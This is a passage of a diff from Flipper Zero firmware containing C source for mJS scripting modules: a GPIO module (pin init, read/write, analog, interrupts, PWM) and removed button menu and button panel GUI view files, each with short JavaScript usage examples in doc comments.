JS_VALUE_ENUM_W_DEFAULT(JsGpioOutMode, js_gpio_out_mode_variants, JsGpioOutModeOpenDrain);
|
||||
|
||||
// edge variants
|
||||
typedef enum {
|
||||
JsGpioEdgeRising = (0 << 2),
|
||||
JsGpioEdgeFalling = (1 << 2),
|
||||
JsGpioEdgeBoth = (2 << 2),
|
||||
} JsGpioEdge;
|
||||
static const JsValueEnumVariant js_gpio_edge_variants[] = {
|
||||
{"rising", JsGpioEdgeRising},
|
||||
{"falling", JsGpioEdgeFalling},
|
||||
{"both", JsGpioEdgeBoth},
|
||||
};
|
||||
static const JsValueDeclaration js_gpio_edge =
|
||||
JS_VALUE_ENUM_W_DEFAULT(JsGpioEdge, js_gpio_edge_variants, JsGpioEdgeRising);
|
||||
|
||||
// pull variants
|
||||
static const JsValueEnumVariant js_gpio_pull_variants[] = {
|
||||
{"up", GpioPullUp},
|
||||
{"down", GpioPullDown},
|
||||
};
|
||||
static const JsValueDeclaration js_gpio_pull =
|
||||
JS_VALUE_ENUM_W_DEFAULT(GpioPull, js_gpio_pull_variants, GpioPullNo);
|
||||
|
||||
// complete mode object
|
||||
static const JsValueObjectField js_gpio_mode_object_fields[] = {
|
||||
{"direction", &js_gpio_direction},
|
||||
{"inMode", &js_gpio_in_mode},
|
||||
{"outMode", &js_gpio_out_mode},
|
||||
{"edge", &js_gpio_edge},
|
||||
{"pull", &js_gpio_pull},
|
||||
};
|
||||
|
||||
// function args
|
||||
static const JsValueDeclaration js_gpio_init_arg_list[] = {
|
||||
JS_VALUE_OBJECT_W_DEFAULTS(js_gpio_mode_object_fields),
|
||||
};
|
||||
static const JsValueArguments js_gpio_init_args = JS_VALUE_ARGS(js_gpio_init_arg_list);
|
||||
|
||||
JsGpioDirection direction;
|
||||
JsGpioInMode in_mode;
|
||||
JsGpioOutMode out_mode;
|
||||
JsGpioEdge edge;
|
||||
GpioPull pull;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(
|
||||
mjs, &js_gpio_init_args, &direction, &in_mode, &out_mode, &edge, &pull);
|
||||
|
||||
GpioMode mode;
|
||||
if(direction == JsGpioDirectionOut) {
|
||||
static const GpioMode js_gpio_out_mode_lut[] = {
|
||||
[JsGpioOutModePushPull] = GpioModeOutputPushPull,
|
||||
[JsGpioOutModeOpenDrain] = GpioModeOutputOpenDrain,
|
||||
};
|
||||
mode = js_gpio_out_mode_lut[out_mode];
|
||||
} else {
|
||||
static const GpioMode js_gpio_in_mode_lut[] = {
|
||||
[JsGpioInModeAnalog] = GpioModeAnalog,
|
||||
[JsGpioInModePlainDigital] = GpioModeInput,
|
||||
[JsGpioInModeInterrupt | JsGpioEdgeRising] = GpioModeInterruptRise,
|
||||
[JsGpioInModeInterrupt | JsGpioEdgeFalling] = GpioModeInterruptFall,
|
||||
[JsGpioInModeInterrupt | JsGpioEdgeBoth] = GpioModeInterruptRiseFall,
|
||||
[JsGpioInModeEvent | JsGpioEdgeRising] = GpioModeEventRise,
|
||||
[JsGpioInModeEvent | JsGpioEdgeFalling] = GpioModeEventFall,
|
||||
[JsGpioInModeEvent | JsGpioEdgeBoth] = GpioModeEventRiseFall,
|
||||
};
|
||||
mode = js_gpio_in_mode_lut[in_mode | edge];
|
||||
}
|
||||
|
||||
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
|
||||
furi_hal_gpio_init(manager_data->pin, mode, pull, GpioSpeedVeryHigh);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Writes a logic value to a GPIO pin
|
||||
*
|
||||
* Example usage:
|
||||
*
|
||||
* ```js
|
||||
* let gpio = require("gpio");
|
||||
* let led = gpio.get("pc3");
|
||||
* led.init({ direction: "out", outMode: "push_pull" });
|
||||
* led.write(true);
|
||||
* ```
|
||||
*/
|
||||
static void js_gpio_write(struct mjs* mjs) {
|
||||
static const JsValueDeclaration js_gpio_write_arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeBool),
|
||||
};
|
||||
static const JsValueArguments js_gpio_write_args = JS_VALUE_ARGS(js_gpio_write_arg_list);
|
||||
bool level;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gpio_write_args, &level);
|
||||
|
||||
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
|
||||
furi_hal_gpio_write(manager_data->pin, level);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Reads a logic value from a GPIO pin
|
||||
*
|
||||
* Example usage:
|
||||
*
|
||||
* ```js
|
||||
* let gpio = require("gpio");
|
||||
* let button = gpio.get("pc1");
|
||||
* button.init({ direction: "in" });
|
||||
* if(button.read())
|
||||
* print("hi button!!!!!");
|
||||
* ```
|
||||
*/
|
||||
static void js_gpio_read(struct mjs* mjs) {
|
||||
// get level
|
||||
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
|
||||
bool value = furi_hal_gpio_read(manager_data->pin);
|
||||
mjs_return(mjs, mjs_mk_boolean(mjs, value));
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Returns a event loop contract that can be used to listen to interrupts
|
||||
*
|
||||
* Example usage:
|
||||
*
|
||||
* ```js
|
||||
* let gpio = require("gpio");
|
||||
* let button = gpio.get("pc1");
|
||||
* let event_loop = require("event_loop");
|
||||
* button.init({ direction: "in", pull: "up", inMode: "interrupt", edge: "falling" });
|
||||
* event_loop.subscribe(button.interrupt(), function (_) { print("Hi!"); });
|
||||
* event_loop.run();
|
||||
* ```
|
||||
*/
|
||||
static void js_gpio_interrupt(struct mjs* mjs) {
|
||||
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
|
||||
|
||||
// interrupt handling
|
||||
if(!manager_data->had_interrupt) {
|
||||
furi_hal_gpio_add_int_callback(
|
||||
manager_data->pin, js_gpio_int_cb, manager_data->interrupt_semaphore);
|
||||
furi_hal_gpio_enable_int_callback(manager_data->pin);
|
||||
manager_data->had_interrupt = true;
|
||||
}
|
||||
|
||||
// make contract
|
||||
JsEventLoopContract* contract = malloc(sizeof(JsEventLoopContract));
|
||||
*contract = (JsEventLoopContract){
|
||||
.magic = JsForeignMagic_JsEventLoopContract,
|
||||
.object_type = JsEventLoopObjectTypeSemaphore,
|
||||
.object = manager_data->interrupt_semaphore,
|
||||
.non_timer =
|
||||
{
|
||||
.event = FuriEventLoopEventIn,
|
||||
},
|
||||
};
|
||||
manager_data->interrupt_contract = contract;
|
||||
mjs_return(mjs, mjs_mk_foreign(mjs, contract));
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Reads a voltage from a GPIO pin in analog mode
|
||||
*
|
||||
* Example usage:
|
||||
*
|
||||
* ```js
|
||||
* let gpio = require("gpio");
|
||||
* let pot = gpio.get("pc0");
|
||||
* pot.init({ direction: "in", inMode: "analog" });
|
||||
* print("voltage:" pot.readAnalog(), "mV");
|
||||
* ```
|
||||
*/
|
||||
static void js_gpio_read_analog(struct mjs* mjs) {
|
||||
// get mV (ADC is configured for 12 bits and 2048 mV max)
|
||||
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
|
||||
uint16_t millivolts =
|
||||
furi_hal_adc_read(manager_data->adc_handle, manager_data->adc_channel) / 2;
|
||||
mjs_return(mjs, mjs_mk_number(mjs, (double)millivolts));
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Determines whether this pin supports PWM
|
||||
*
|
||||
* Example usage:
|
||||
*
|
||||
* ```js
|
||||
* let gpio = require("gpio");
|
||||
* assert_eq(true, gpio.get("pa4").isPwmSupported());
|
||||
* assert_eq(false, gpio.get("pa5").isPwmSupported());
|
||||
* ```
|
||||
*/
|
||||
static void js_gpio_is_pwm_supported(struct mjs* mjs) {
|
||||
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
|
||||
mjs_return(mjs, mjs_mk_boolean(mjs, manager_data->pwm_output != FuriHalPwmOutputIdNone));
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sets PWM parameters and starts the PWM
|
||||
*
|
||||
* Example usage:
|
||||
*
|
||||
* ```js
|
||||
* let gpio = require("gpio");
|
||||
* let pa4 = gpio.get("pa4");
|
||||
* pa4.pwmWrite(10000, 50);
|
||||
* ```
|
||||
*/
|
||||
static void js_gpio_pwm_write(struct mjs* mjs) {
|
||||
static const JsValueDeclaration js_gpio_pwm_write_arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
};
|
||||
static const JsValueArguments js_gpio_pwm_write_args =
|
||||
JS_VALUE_ARGS(js_gpio_pwm_write_arg_list);
|
||||
int32_t frequency, duty;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gpio_pwm_write_args, &frequency, &duty);
|
||||
|
||||
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
|
||||
if(manager_data->pwm_output == FuriHalPwmOutputIdNone) {
|
||||
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "PWM is not supported on this pin");
|
||||
}
|
||||
|
||||
if(furi_hal_pwm_is_running(manager_data->pwm_output)) {
|
||||
furi_hal_pwm_set_params(manager_data->pwm_output, frequency, duty);
|
||||
} else {
|
||||
furi_hal_pwm_start(manager_data->pwm_output, frequency, duty);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Determines whether PWM is running
|
||||
*
|
||||
* Example usage:
|
||||
*
|
||||
* ```js
|
||||
* let gpio = require("gpio");
|
||||
* assert_eq(false, gpio.get("pa4").isPwmRunning());
|
||||
* ```
|
||||
*/
|
||||
static void js_gpio_is_pwm_running(struct mjs* mjs) {
|
||||
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
|
||||
if(manager_data->pwm_output == FuriHalPwmOutputIdNone) {
|
||||
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "PWM is not supported on this pin");
|
||||
}
|
||||
|
||||
mjs_return(mjs, mjs_mk_boolean(mjs, furi_hal_pwm_is_running(manager_data->pwm_output)));
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Stops PWM
|
||||
*
|
||||
* Example usage:
|
||||
*
|
||||
* ```js
|
||||
* let gpio = require("gpio");
|
||||
* let pa4 = gpio.get("pa4");
|
||||
* pa4.pwmWrite(10000, 50);
|
||||
* pa4.pwmStop();
|
||||
* ```
|
||||
*/
|
||||
static void js_gpio_pwm_stop(struct mjs* mjs) {
|
||||
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
|
||||
if(manager_data->pwm_output == FuriHalPwmOutputIdNone) {
|
||||
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "PWM is not supported on this pin");
|
||||
}
|
||||
|
||||
furi_hal_pwm_stop(manager_data->pwm_output);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Returns an object that manages a specified pin.
|
||||
*
|
||||
* Example usage:
|
||||
*
|
||||
* ```js
|
||||
* let gpio = require("gpio");
|
||||
* let led = gpio.get("pc3");
|
||||
* ```
|
||||
*/
|
||||
static void js_gpio_get(struct mjs* mjs) {
|
||||
static const JsValueDeclaration js_gpio_get_arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeAny),
|
||||
};
|
||||
static const JsValueArguments js_gpio_get_args = JS_VALUE_ARGS(js_gpio_get_arg_list);
|
||||
mjs_val_t name_arg;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gpio_get_args, &name_arg);
|
||||
|
||||
const char* name_string = mjs_get_string(mjs, &name_arg, NULL);
|
||||
const GpioPinRecord* pin_record = NULL;
|
||||
|
||||
// parse input argument to a pin pointer
|
||||
if(name_string) {
|
||||
pin_record = furi_hal_resources_pin_by_name(name_string);
|
||||
} else if(mjs_is_number(name_arg)) {
|
||||
int name_int = mjs_get_int(mjs, name_arg);
|
||||
pin_record = furi_hal_resources_pin_by_number(name_int);
|
||||
} else {
|
||||
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "Must be either a string or a number");
|
||||
}
|
||||
|
||||
if(!pin_record) JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "Pin not found on device");
|
||||
if(pin_record->debug)
|
||||
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "Pin is used for debugging");
|
||||
|
||||
// return pin manager object
|
||||
JsGpioInst* module = JS_GET_CONTEXT(mjs);
|
||||
mjs_val_t manager = mjs_mk_object(mjs);
|
||||
JsGpioPinInst* manager_data = malloc(sizeof(JsGpioPinInst));
|
||||
manager_data->pin = pin_record->pin;
|
||||
manager_data->interrupt_semaphore = furi_semaphore_alloc(UINT32_MAX, 0);
|
||||
manager_data->adc_handle = module->adc_handle;
|
||||
manager_data->adc_channel = pin_record->channel;
|
||||
manager_data->pwm_output = pin_record->pwm_output;
|
||||
JS_ASSIGN_MULTI(mjs, manager) {
|
||||
JS_FIELD(INST_PROP_NAME, mjs_mk_foreign(mjs, manager_data));
|
||||
JS_FIELD("init", MJS_MK_FN(js_gpio_init));
|
||||
JS_FIELD("write", MJS_MK_FN(js_gpio_write));
|
||||
JS_FIELD("read", MJS_MK_FN(js_gpio_read));
|
||||
JS_FIELD("readAnalog", MJS_MK_FN(js_gpio_read_analog));
|
||||
JS_FIELD("interrupt", MJS_MK_FN(js_gpio_interrupt));
|
||||
JS_FIELD("isPwmSupported", MJS_MK_FN(js_gpio_is_pwm_supported));
|
||||
JS_FIELD("pwmWrite", MJS_MK_FN(js_gpio_pwm_write));
|
||||
JS_FIELD("isPwmRunning", MJS_MK_FN(js_gpio_is_pwm_running));
|
||||
JS_FIELD("pwmStop", MJS_MK_FN(js_gpio_pwm_stop));
|
||||
}
|
||||
mjs_return(mjs, manager);
|
||||
|
||||
// remember pin
|
||||
ManagedPinsArray_push_back(module->managed_pins, manager_data);
|
||||
}
|
||||
|
||||
static void* js_gpio_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
|
||||
JsEventLoop* js_loop = js_module_get(modules, "event_loop");
|
||||
if(M_UNLIKELY(!js_loop)) return NULL;
|
||||
FuriEventLoop* loop = js_event_loop_get_loop(js_loop);
|
||||
|
||||
JsGpioInst* module = malloc(sizeof(JsGpioInst));
|
||||
ManagedPinsArray_init(module->managed_pins);
|
||||
module->adc_handle = furi_hal_adc_acquire();
|
||||
module->loop = loop;
|
||||
furi_hal_adc_configure(module->adc_handle);
|
||||
|
||||
mjs_val_t gpio_obj = mjs_mk_object(mjs);
|
||||
mjs_set(mjs, gpio_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, module));
|
||||
mjs_set(mjs, gpio_obj, "get", ~0, MJS_MK_FN(js_gpio_get));
|
||||
*object = gpio_obj;
|
||||
|
||||
return (void*)module;
|
||||
}
|
||||
|
||||
static void js_gpio_destroy(void* inst) {
|
||||
furi_assert(inst);
|
||||
JsGpioInst* module = (JsGpioInst*)inst;
|
||||
|
||||
// reset pins
|
||||
for
|
||||
M_EACH(item, module->managed_pins, ManagedPinsArray_t) {
|
||||
JsGpioPinInst* manager_data = *item;
|
||||
|
||||
if(manager_data->had_interrupt) {
|
||||
furi_hal_gpio_disable_int_callback(manager_data->pin);
|
||||
furi_hal_gpio_remove_int_callback(manager_data->pin);
|
||||
}
|
||||
if(manager_data->pwm_output != FuriHalPwmOutputIdNone) {
|
||||
if(furi_hal_pwm_is_running(manager_data->pwm_output))
|
||||
furi_hal_pwm_stop(manager_data->pwm_output);
|
||||
}
|
||||
furi_hal_gpio_init(manager_data->pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
|
||||
furi_event_loop_maybe_unsubscribe(module->loop, manager_data->interrupt_semaphore);
|
||||
furi_semaphore_free(manager_data->interrupt_semaphore);
|
||||
|
||||
free(manager_data->interrupt_contract);
|
||||
free(manager_data);
|
||||
}
|
||||
|
||||
// free buffers
|
||||
furi_hal_adc_release(module->adc_handle);
|
||||
ManagedPinsArray_clear(module->managed_pins);
|
||||
free(module);
|
||||
}
|
||||
|
||||
static const JsModuleDescriptor js_gpio_desc = {
|
||||
"gpio",
|
||||
js_gpio_create,
|
||||
js_gpio_destroy,
|
||||
NULL,
|
||||
};
|
||||
|
||||
static const FlipperAppPluginDescriptor plugin_descriptor = {
|
||||
.appid = PLUGIN_APP_ID,
|
||||
.ep_api_version = PLUGIN_API_VERSION,
|
||||
.entry_point = &js_gpio_desc,
|
||||
};
|
||||
|
||||
const FlipperAppPluginDescriptor* js_gpio_ep(void) {
|
||||
return &plugin_descriptor;
|
||||
}
|
||||
@@ -1,169 +0,0 @@
|
||||
#include "../../js_modules.h" // IWYU pragma: keep
|
||||
#include "js_gui.h"
|
||||
#include "../js_event_loop/js_event_loop.h"
|
||||
#include <gui/modules/button_menu.h>
|
||||
#include <toolbox/str_buffer.h>
|
||||
|
||||
typedef struct {
|
||||
int32_t next_index;
|
||||
StrBuffer str_buffer;
|
||||
|
||||
FuriMessageQueue* input_queue;
|
||||
JsEventLoopContract contract;
|
||||
} JsBtnMenuContext;
|
||||
|
||||
typedef struct {
|
||||
int32_t index;
|
||||
InputType input_type;
|
||||
} JsBtnMenuEvent;
|
||||
|
||||
static const char* js_input_type_to_str(InputType type) {
|
||||
switch(type) {
|
||||
case InputTypePress:
|
||||
return "press";
|
||||
case InputTypeRelease:
|
||||
return "release";
|
||||
case InputTypeShort:
|
||||
return "short";
|
||||
case InputTypeLong:
|
||||
return "long";
|
||||
case InputTypeRepeat:
|
||||
return "repeat";
|
||||
default:
|
||||
furi_crash();
|
||||
}
|
||||
}
|
||||
|
||||
static mjs_val_t
|
||||
input_transformer(struct mjs* mjs, FuriMessageQueue* queue, JsBtnMenuContext* context) {
|
||||
UNUSED(context);
|
||||
JsBtnMenuEvent event;
|
||||
furi_check(furi_message_queue_get(queue, &event, 0) == FuriStatusOk);
|
||||
|
||||
mjs_val_t event_obj = mjs_mk_object(mjs);
|
||||
JS_ASSIGN_MULTI(mjs, event_obj) {
|
||||
JS_FIELD("index", mjs_mk_number(mjs, event.index));
|
||||
JS_FIELD("type", mjs_mk_string(mjs, js_input_type_to_str(event.input_type), ~0, false));
|
||||
}
|
||||
|
||||
return event_obj;
|
||||
}
|
||||
|
||||
static void input_callback(void* ctx, int32_t index, InputType type) {
|
||||
JsBtnMenuContext* context = ctx;
|
||||
JsBtnMenuEvent event = {
|
||||
.index = index,
|
||||
.input_type = type,
|
||||
};
|
||||
furi_check(furi_message_queue_put(context->input_queue, &event, 0) == FuriStatusOk);
|
||||
}
|
||||
|
||||
static bool matrix_header_assign(
|
||||
struct mjs* mjs,
|
||||
ButtonMenu* menu,
|
||||
JsViewPropValue value,
|
||||
JsBtnMenuContext* context) {
|
||||
UNUSED(mjs);
|
||||
button_menu_set_header(menu, str_buffer_make_owned_clone(&context->str_buffer, value.string));
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool js_button_menu_add_child(
|
||||
struct mjs* mjs,
|
||||
ButtonMenu* menu,
|
||||
JsBtnMenuContext* context,
|
||||
mjs_val_t child_obj) {
|
||||
static const JsValueEnumVariant js_button_menu_item_type_variants[] = {
|
||||
{"common", ButtonMenuItemTypeCommon},
|
||||
{"control", ButtonMenuItemTypeControl},
|
||||
};
|
||||
static const JsValueDeclaration js_button_menu_item_type =
|
||||
JS_VALUE_ENUM(ButtonMenuItemType, js_button_menu_item_type_variants);
|
||||
|
||||
static const JsValueDeclaration js_button_menu_string = JS_VALUE_SIMPLE(JsValueTypeString);
|
||||
|
||||
static const JsValueObjectField js_button_menu_child_fields[] = {
|
||||
{"type", &js_button_menu_item_type},
|
||||
{"label", &js_button_menu_string},
|
||||
};
|
||||
static const JsValueDeclaration js_button_menu_child =
|
||||
JS_VALUE_OBJECT(js_button_menu_child_fields);
|
||||
|
||||
ButtonMenuItemType item_type;
|
||||
const char* label;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_menu_child),
|
||||
JsValueParseFlagReturnOnError,
|
||||
&status,
|
||||
&child_obj,
|
||||
&item_type,
|
||||
&label);
|
||||
if(status != JsValueParseStatusOk) return false;
|
||||
|
||||
button_menu_add_item(
|
||||
menu,
|
||||
str_buffer_make_owned_clone(&context->str_buffer, label),
|
||||
context->next_index++,
|
||||
input_callback,
|
||||
item_type,
|
||||
context);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void js_button_menu_reset_children(ButtonMenu* menu, JsBtnMenuContext* context) {
|
||||
context->next_index = 0;
|
||||
button_menu_reset(menu);
|
||||
str_buffer_clear_all_clones(&context->str_buffer);
|
||||
}
|
||||
|
||||
static JsBtnMenuContext* ctx_make(struct mjs* mjs, ButtonMenu* menu, mjs_val_t view_obj) {
|
||||
UNUSED(menu);
|
||||
JsBtnMenuContext* context = malloc(sizeof(JsBtnMenuContext));
|
||||
*context = (JsBtnMenuContext){
|
||||
.next_index = 0,
|
||||
.str_buffer = {0},
|
||||
.input_queue = furi_message_queue_alloc(1, sizeof(JsBtnMenuEvent)),
|
||||
};
|
||||
context->contract = (JsEventLoopContract){
|
||||
.magic = JsForeignMagic_JsEventLoopContract,
|
||||
.object_type = JsEventLoopObjectTypeQueue,
|
||||
.object = context->input_queue,
|
||||
.non_timer =
|
||||
{
|
||||
.event = FuriEventLoopEventIn,
|
||||
.transformer = (JsEventLoopTransformer)input_transformer,
|
||||
.transformer_context = context,
|
||||
},
|
||||
};
|
||||
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
|
||||
return context;
|
||||
}
|
||||
|
||||
static void ctx_destroy(ButtonMenu* input, JsBtnMenuContext* context, FuriEventLoop* loop) {
|
||||
UNUSED(input);
|
||||
furi_event_loop_maybe_unsubscribe(loop, context->input_queue);
|
||||
furi_message_queue_free(context->input_queue);
|
||||
str_buffer_clear_all_clones(&context->str_buffer);
|
||||
free(context);
|
||||
}
|
||||
|
||||
static const JsViewDescriptor view_descriptor = {
|
||||
.alloc = (JsViewAlloc)button_menu_alloc,
|
||||
.free = (JsViewFree)button_menu_free,
|
||||
.get_view = (JsViewGetView)button_menu_get_view,
|
||||
.custom_make = (JsViewCustomMake)ctx_make,
|
||||
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
|
||||
.add_child = (JsViewAddChild)js_button_menu_add_child,
|
||||
.reset_children = (JsViewResetChildren)js_button_menu_reset_children,
|
||||
.prop_cnt = 1,
|
||||
.props = {
|
||||
(JsViewPropDescriptor){
|
||||
.name = "header",
|
||||
.type = JsViewPropTypeString,
|
||||
.assign = (JsViewPropAssign)matrix_header_assign},
|
||||
}};
|
||||
|
||||
JS_GUI_VIEW_DEF(button_menu, &view_descriptor);
|
||||
@@ -1,274 +0,0 @@
|
||||
#include "../../js_modules.h" // IWYU pragma: keep
|
||||
#include "js_gui.h"
|
||||
#include "../js_event_loop/js_event_loop.h"
|
||||
#include <gui/modules/button_panel.h>
|
||||
#include <toolbox/str_buffer.h>
|
||||
|
||||
typedef struct {
|
||||
size_t matrix_x, matrix_y;
|
||||
int32_t next_index;
|
||||
StrBuffer str_buffer;
|
||||
|
||||
FuriMessageQueue* input_queue;
|
||||
JsEventLoopContract contract;
|
||||
} JsBtnPanelContext;
|
||||
|
||||
typedef struct {
|
||||
int32_t index;
|
||||
InputType input_type;
|
||||
} JsBtnPanelEvent;
|
||||
|
||||
static const char* js_input_type_to_str(InputType type) {
|
||||
switch(type) {
|
||||
case InputTypePress:
|
||||
return "press";
|
||||
case InputTypeRelease:
|
||||
return "release";
|
||||
case InputTypeShort:
|
||||
return "short";
|
||||
case InputTypeLong:
|
||||
return "long";
|
||||
case InputTypeRepeat:
|
||||
return "repeat";
|
||||
default:
|
||||
furi_crash();
|
||||
}
|
||||
}
|
||||
|
||||
static mjs_val_t
|
||||
input_transformer(struct mjs* mjs, FuriMessageQueue* queue, JsBtnPanelContext* context) {
|
||||
UNUSED(context);
|
||||
JsBtnPanelEvent event;
|
||||
furi_check(furi_message_queue_get(queue, &event, 0) == FuriStatusOk);
|
||||
|
||||
mjs_val_t event_obj = mjs_mk_object(mjs);
|
||||
JS_ASSIGN_MULTI(mjs, event_obj) {
|
||||
JS_FIELD("index", mjs_mk_number(mjs, event.index));
|
||||
JS_FIELD("type", mjs_mk_string(mjs, js_input_type_to_str(event.input_type), ~0, false));
|
||||
}
|
||||
|
||||
return event_obj;
|
||||
}
|
||||
|
||||
static void input_callback(void* ctx, int32_t index, InputType type) {
|
||||
JsBtnPanelContext* context = ctx;
|
||||
JsBtnPanelEvent event = {
|
||||
.index = index,
|
||||
.input_type = type,
|
||||
};
|
||||
furi_check(furi_message_queue_put(context->input_queue, &event, 0) == FuriStatusOk);
|
||||
}
|
||||
|
||||
static bool matrix_size_x_assign(
|
||||
struct mjs* mjs,
|
||||
ButtonPanel* panel,
|
||||
JsViewPropValue value,
|
||||
JsBtnPanelContext* context) {
|
||||
UNUSED(mjs);
|
||||
context->matrix_x = value.number;
|
||||
button_panel_reserve(panel, context->matrix_x, context->matrix_y);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool matrix_size_y_assign(
|
||||
struct mjs* mjs,
|
||||
ButtonPanel* panel,
|
||||
JsViewPropValue value,
|
||||
JsBtnPanelContext* context) {
|
||||
UNUSED(mjs);
|
||||
context->matrix_y = value.number;
|
||||
button_panel_reserve(panel, context->matrix_x, context->matrix_y);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool js_button_panel_add_child(
|
||||
struct mjs* mjs,
|
||||
ButtonPanel* panel,
|
||||
JsBtnPanelContext* context,
|
||||
mjs_val_t child_obj) {
|
||||
typedef enum {
|
||||
JsButtonPanelChildTypeButton,
|
||||
JsButtonPanelChildTypeLabel,
|
||||
JsButtonPanelChildTypeIcon,
|
||||
} JsButtonPanelChildType;
|
||||
static const JsValueEnumVariant js_button_panel_child_type_variants[] = {
|
||||
{"button", JsButtonPanelChildTypeButton},
|
||||
{"label", JsButtonPanelChildTypeLabel},
|
||||
{"icon", JsButtonPanelChildTypeIcon},
|
||||
};
|
||||
static const JsValueDeclaration js_button_panel_child_type =
|
||||
JS_VALUE_ENUM(JsButtonPanelChildType, js_button_panel_child_type_variants);
|
||||
|
||||
static const JsValueDeclaration js_button_panel_number = JS_VALUE_SIMPLE(JsValueTypeInt32);
|
||||
static const JsValueObjectField js_button_panel_common_fields[] = {
|
||||
{"type", &js_button_panel_child_type},
|
||||
{"x", &js_button_panel_number},
|
||||
{"y", &js_button_panel_number},
|
||||
};
|
||||
static const JsValueDeclaration js_button_panel_common =
|
||||
JS_VALUE_OBJECT(js_button_panel_common_fields);
|
||||
|
||||
static const JsValueDeclaration js_button_panel_pointer =
|
||||
JS_VALUE_SIMPLE(JsValueTypeRawPointer);
|
||||
static const JsValueObjectField js_button_panel_button_fields[] = {
|
||||
{"matrixX", &js_button_panel_number},
|
||||
{"matrixY", &js_button_panel_number},
|
||||
{"icon", &js_button_panel_pointer},
|
||||
{"iconSelected", &js_button_panel_pointer},
|
||||
};
|
||||
static const JsValueDeclaration js_button_panel_button =
|
||||
JS_VALUE_OBJECT(js_button_panel_button_fields);
|
||||
|
||||
static const JsValueDeclaration js_button_panel_string = JS_VALUE_SIMPLE(JsValueTypeString);
|
||||
static const JsValueObjectField js_button_panel_label_fields[] = {
|
||||
{"text", &js_button_panel_string},
|
||||
{"font", &js_gui_font_declaration},
|
||||
};
|
||||
static const JsValueDeclaration js_button_panel_label =
|
||||
JS_VALUE_OBJECT(js_button_panel_label_fields);
|
||||
|
||||
static const JsValueObjectField js_button_panel_icon_fields[] = {
|
||||
{"icon", &js_button_panel_pointer},
|
||||
};
|
||||
static const JsValueDeclaration js_button_panel_icon =
|
||||
JS_VALUE_OBJECT(js_button_panel_icon_fields);
|
||||
|
||||
JsButtonPanelChildType child_type;
|
||||
int32_t x, y;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_common),
|
||||
JsValueParseFlagReturnOnError,
|
||||
&status,
|
||||
&child_obj,
|
||||
&child_type,
|
||||
&x,
|
||||
&y);
|
||||
if(status != JsValueParseStatusOk) return false;
|
||||
|
||||
switch(child_type) {
|
||||
case JsButtonPanelChildTypeButton: {
|
||||
int32_t matrix_x, matrix_y;
|
||||
const Icon *icon, *icon_selected;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_button),
|
||||
JsValueParseFlagReturnOnError,
|
||||
&status,
|
||||
&child_obj,
|
||||
&matrix_x,
|
||||
&matrix_y,
|
||||
&icon,
|
||||
&icon_selected);
|
||||
if(status != JsValueParseStatusOk) return false;
|
||||
button_panel_add_item(
|
||||
panel,
|
||||
context->next_index++,
|
||||
matrix_x,
|
||||
matrix_y,
|
||||
x,
|
||||
y,
|
||||
icon,
|
||||
icon_selected,
|
||||
(ButtonItemCallback)input_callback,
|
||||
context);
|
||||
break;
|
||||
}
|
||||
|
||||
case JsButtonPanelChildTypeLabel: {
|
||||
const char* text;
|
||||
Font font;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_label),
|
||||
JsValueParseFlagReturnOnError,
|
||||
&status,
|
||||
&child_obj,
|
||||
&text,
|
||||
&font);
|
||||
if(status != JsValueParseStatusOk) return false;
|
||||
button_panel_add_label(
|
||||
panel, x, y, font, str_buffer_make_owned_clone(&context->str_buffer, text));
|
||||
break;
|
||||
}
|
||||
|
